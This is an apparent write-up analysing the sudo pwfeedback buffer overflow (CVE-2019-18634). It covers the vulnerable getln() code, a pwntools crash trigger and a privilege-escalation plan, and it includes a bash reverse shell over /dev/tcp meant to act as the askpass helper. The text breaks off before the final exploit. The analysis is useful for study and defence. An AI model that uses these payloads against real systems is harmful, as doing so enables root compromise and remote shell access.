CVE-2019-18634

CVE-2019-18634 is a vulnerability that affects Sudo in versions < 1.8.25 when pwfeedback is enabled in sudoers file. It allows an attacker to escalate privileges to root by exploiting a BSS-Based Buffer Overflow, where the data strucutres are altered and it thinks that it is being executed as root and thus, not asking for password anymore and giving root privileges.

Vulnerability discovery

On this analysis I will first go deep into the discovery of the vulnerability by analyzing the code and understanding what is wrong. The article of NIST explains that the vulnerability is found on the getln() function, so let's take a look at that first:

We can see that the function reads from a file descriptor buffersize times one by one and, if the character read is sudo-term-kill, it will start ereasing all the input sent and bring back the current pointer to the beggining and set again the number of characters to be read as buffersize.

The bug resides in the following fragment of code:

static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)
//            ...

    while (--left) {
    	nr = read(fd, &c, 1);
    	if (nr != 1 || c == '\n' || c == '\r')
    	    break;
    	if (feedback) {
    	    if (c == sudo_term_kill) {
    		    while (cp > buf) {
    		      if (write(fd, "\b \b", 3) == -1)
    			      break;
    		      --cp;
    		    }
    		    left = bufsiz;
    		    continue;
    	    }
//            ...
    	}
    	*cp++ = c;
    }
//            ...
}

Basically, when the sudo-term-kill character is present, if the write opperation fails, it will not decrepent the buffer pointer, but it will reset the count on how many chars it can write, efectively having an arbitrary length write on that buffer.

An in-depth analysis on the code an functions used reveal that the sudo-term-kill char is defined as a global undeclared integer, meaning that it will be initialized to 0 unless it is receiven input from a terminal, which then it will be what is set on termios c_cc structure, which according to the docu is:

I will not go too deep on the deductions here, but all of them can be replicated by looking at the source code of the term.c file in the Sudo repo.

After this small analysis, all is left is making the program crash and debug it so we can see what is being stored and how it could possibly be exploited to take some profit.

Trigger

To trigger the exploit, we just have to send a payload with enough data to overflow the buffer and crash the program. To do that, I decided to do it with the Python library pwntools

import pwn

payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())

Which, upon execution, gave the following error:

Nice!! Segmentation fault, so we have overwritten something that crashed the execution of the binary. Now, we should look at what has been overwritten and ways of taking proffit from it

Debugging

In order to debug the binary, we just have to pause the execution of the process before sending the payload, then attach a debugger to it and then continue the execution. It has to be that way because in order to debug the sudo process, root privileges have to be leveraged, but that makes the program not ask for the password, which is the vulnerable part of it.

With that being said, let's move on to see what has been stored in the buffer and subsequent memory addresses:

We can see that, other than the buffer, several other data structures have been overwritten, which might be interesting towards exploiting this vulnerability. Next, I decided to see what data was on those data structures before overwriting it. To do so, I just executed the same script but overwriting only buffersize bytes of data and then analyze again the memory: As we can see, the signo data structure is all 0s, except for the byte at position 548, which is 0x02. It is then followed by the user-details structure, which in the code is refeared as the details of the user running sudo. The 0x02 represents the -S option, as defined in the sudo.h file. In that same file, another option called Askpass is defined, in which a program is get form an environment variable and it is used as a helper to get the password (instead of using a TTY or the STDIN) With this information, the exploitation path might become a little bit clearer now. We might be able to set a custom helper program (let's say, a reverse shell) and then, overwrite the user-details to make it seem as if sudo was executed by root

Exploitation

For the explitation there is still something to overcome: We need to write 0es to preserve the original data from the data structures, plus, we also need them to set the user details to root ones, thus, we can not use the standard input because it would not write the 0s. Luckily, we know that, if we use a terminal device, the kill character is 0x15, wich is a character that we do not need at all. With this arises a problem: We need the write operation to fail, but terminal devices are writeable and readeable, meaning they won't make the write operation to fail. Doing some research, I found about pseudo terminals, which are essentially terminal devices that can be created from programs and can be controlled:

With a PTY we can comunicate with the master and the master will comunicate with the slave. If we set the slave to have only read privileges, programs will never be able to write to it (thus, failing) meaning that we will be able to trigger the exploit.

With all that in place, all is left is to write the reverse shell

#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1

And the exploit: